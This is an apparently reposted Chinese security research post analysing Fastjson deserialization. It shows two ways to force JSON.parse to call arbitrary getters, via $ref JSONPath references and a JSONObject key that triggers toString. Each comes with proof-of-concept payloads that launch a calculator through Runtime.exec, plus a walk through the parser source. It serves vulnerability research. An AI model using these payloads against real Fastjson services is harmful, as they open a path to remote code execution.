5

Fastjson parse突破特殊getter调用限制

 2 years ago
source link: https://jlkl.github.io/2021/12/18/Java_07/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Fastjson parse突破特殊getter调用限制

Posted on

2021-12-18

Views: 78 Valine: 0 3.9k 5 mins.

众所周知,在 Fastjson中 parse 会识别并调用目标类的特定 setter 方法及特定的 getter 方法,特定规则其实总结起来就是一般的setter方法以及一般的返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法

那么对于一般的不满足条件的getter方法能否进行调用呢

$ref 调用 getter

当Fastjson>=1.2.36时,我们可以使用$ref的方式来调用任意的getter

什么是$ref

$ref 是fastjson里的引用,引用之前出现的对象

循环引用 · alibaba/fastjson Wiki (github.com)

下面这个例子

package com.vuln;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Test {
private Integer id;

public Integer getId() {
return id;
}

public void setId(Integer id) {
this.id = id;
}

public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.vuln.Test\",\"id\":\"123\"},{\"$ref\":\"$[0]\"}]";
Object o = JSON.parse(payload);
System.out.println(o);
}
}

JSON.parse后的对象如下

image

image

$ref 的值是符合JSONPath语法的,详细可以参考:https://goessner.net/articles/JsonPath/

Test.java

package com.vuln;

import java.io.IOException;

public class Test {
private String cmd;

public String getCmd() throws IOException {
Runtime.getRuntime().exec(cmd);
return cmd;
}

public void setCmd(String cmd) {
this.cmd = cmd;
}
}
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.vuln.Test\",\"cmd\":\"open -a Calculator\"},{\"$ref\":\"$[0].cmd\"}]";
Object o = JSON.parse(payload);
}
}

image

image

可以看到getCmd方法是不满足特殊getter条件的,不能自动被调用,这里突破了这个限制

到getCmd的调用栈

image

image

首先分析fastjson对$ref 的处理逻辑

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject

当遇到引用$ref这种方式,会增加一个resolveTask,留在parse结束后进行处理

image

image

com.alibaba.fastjson.parser.DefaultJSONParser#handleResovleTask

ref的value尝试通过getObject获取,这里获取不到,refValue为null,进入JSONPath.eval ,这是JSONPath解析函数,根据ref从value种获取对应的值

image

image

JSONPath.eval 最终会调用到getPropertyValue 函数,会尝试调用fieldInfo的get函数或者用反射的方式调用getter

com.alibaba.fastjson.serializer.FieldSerializer#getPropertyValue

image

image

image

image

为什么小于1.2.36 版本不行

1.2.35 版本为例,差异主要在

com.alibaba.fastjson.parser.DefaultJSONParser#handleResovleTask

要求refValue不为null,且必须时JSONObject类,根据上面的分析,我们的POC获取到的refValue为null,寄

image

image

JSONObject 调用 getter

当Fastjson<=1.2.36时,可以使用这种方法调用任意getter方法,和第一种方法刚好互补

这个方法来自于Tomcat BasicDataSource利用链,四哥的说法是这条链只能用于Fastjson 1.2.24及更低版本(是这个链的利用),可以参考四哥和kingx的分析

Fastjson BasicDataSource攻击链简介 – 绿盟科技技术博客 (nsfocus.net)

Java动态类加载,当FastJson遇到内网 – KINGX

Test.java

package com.vuln;

import java.io.IOException;

public class Test {
private String cmd;

public String getCmd() throws IOException {
Runtime.getRuntime().exec(cmd);
return cmd;
}

public void setCmd(String cmd) {
this.cmd = cmd;
}
}
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\n" +
" {\n" +
" \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
" \"x\":{\n" +
" \"@type\": \"com.vuln.Test\",\n" +
" \"cmd\": \"open -a Calculator\"\n" +
" }\n" +
" }: \"x\"\n" +
"}";
Object o = JSON.parse(payload);
}
}

image

image

巧妙利用了JSONObject.toStringJSONObject 继承了JSON抽象类

com.alibaba.fastjson.JSON#toString,进行序列化操作,object 转 str

image

image

Fastjson使用ASM来代替反射,通过ASM的ClassWriter来生成JavaBeanSerializer的子类,重写write方法,JavaBeanSerializer中的write方法会使用反射从JavaBean中获取相关信息,ASM针对不同类会生成独有的序列化工具类,这里如ASMSerializer_1_Test ,也会调用getter获取类种相关信息,更详细可以参考

ASM在FastJson中的应用 - SegmentFault 思否

image

image

那么我们只要在反序列化过程中,找到一处可以使用JSONObject调用toString的地方就可以了

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject

image

image

Fastjson在解析的时候如果遇到{,会加一层JSONObject,那么只需将key构造成JSONObject,类似{{some}:x} 即可

com.alibaba.fastjson.parser.DefaultJSONParser#parse

image

image

为什么大于1.2.36版本不行

1.2.37 版本为例

com.alibaba.fastjson.parser.DefaultJSONParser#parse

直接入口点掐了,不再调用toString函数

image

image


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK